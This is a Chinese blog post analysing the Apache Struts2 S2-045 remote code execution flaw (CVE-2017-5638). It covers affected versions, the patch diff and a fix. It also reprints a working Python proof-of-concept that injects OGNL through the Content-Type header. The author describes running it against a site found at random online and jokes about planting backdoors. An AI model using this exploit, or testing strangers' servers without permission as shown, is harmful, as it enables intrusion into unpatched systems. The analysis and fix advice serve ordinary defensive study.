前言

3月6日,正直全国瞩目的两会进行时,貌似全国人民都在关注着国计民生,安全圈却引爆了一颗大大大炸弹!!Struts2又出漏洞啦!Struts2又出漏洞啦!Struts2又出漏洞啦!又又又又出漏洞啦!!看着表哥们一个个夜以继日地日站,那敢情就只有一个字可以形容—>爽!但是自己并不懂Java啊啊啊啊~这真是个悲伤的故事。。不过看到网上很多大牛们都放出了POC和分析,自己看了下,貌似一知半解,这里就随便谈一谈吧。

漏洞简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2此前就经常爆出各种洞啊,不过这次的洞为例确实很严重啊,躺枪的一大一大片啊,并且还都是各种root啊!!!哇哇哇
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

漏洞分析

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。Struts2默认处理multipart报文的解析器是jakarta,然而这个组件出现了问题。基于Jakarta(Jakarta Multipart parser)插件的文件上传功能,恶意攻击者可以精心构造Content-Type的值发起攻击。
由于对Java还不熟,这里搬来网上的详细分析:
通过版本比对定位漏洞原因:
1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java
三个文件修改内容相同,加固方式对用户报错加了条件判断。

1
2
3
4
5
if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}

漏洞利用

网上扒的一个表哥的检测脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
#coding:utf8
#code by fuck@0day5.com
import sys
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url):
result = False
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"
}
try:
response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)
if response.content.find("88866777")!=-1:
result = url+" find struts2-45"
except Exception as e:
print str(e)
pass
return result

if __name__ == '__main__':
if len(sys.argv) == 2:
print poccheck(sys.argv[1])
sys.exit(0)
else:
print ("usage: %s http://www.xxxxx.com/vuln.action" % sys.argv[0])
sys.exit(-1)

下面是在晚上随便找了个站
检测

执行命令

当然种个马啦插个后门啦什么的留作后续之用啊之类的我没去尝试,没干过坏事,不懂得套路啊,害怕屁股擦不干净。。。

影响范围

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞修复

更新版本,或者直接删除commons-fileupload-x.x.x.jar文件,暂时禁用文件上传。


声明:
文章标题:Struts2 s2-045漏洞浅析及利用
文章作者:h3h3da
文章链接:https://www.liucunzhan.com/p/d47fe2ec-a43f-449d-b09a-58d92438b6a0
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。


喜欢,就支持我一下吧~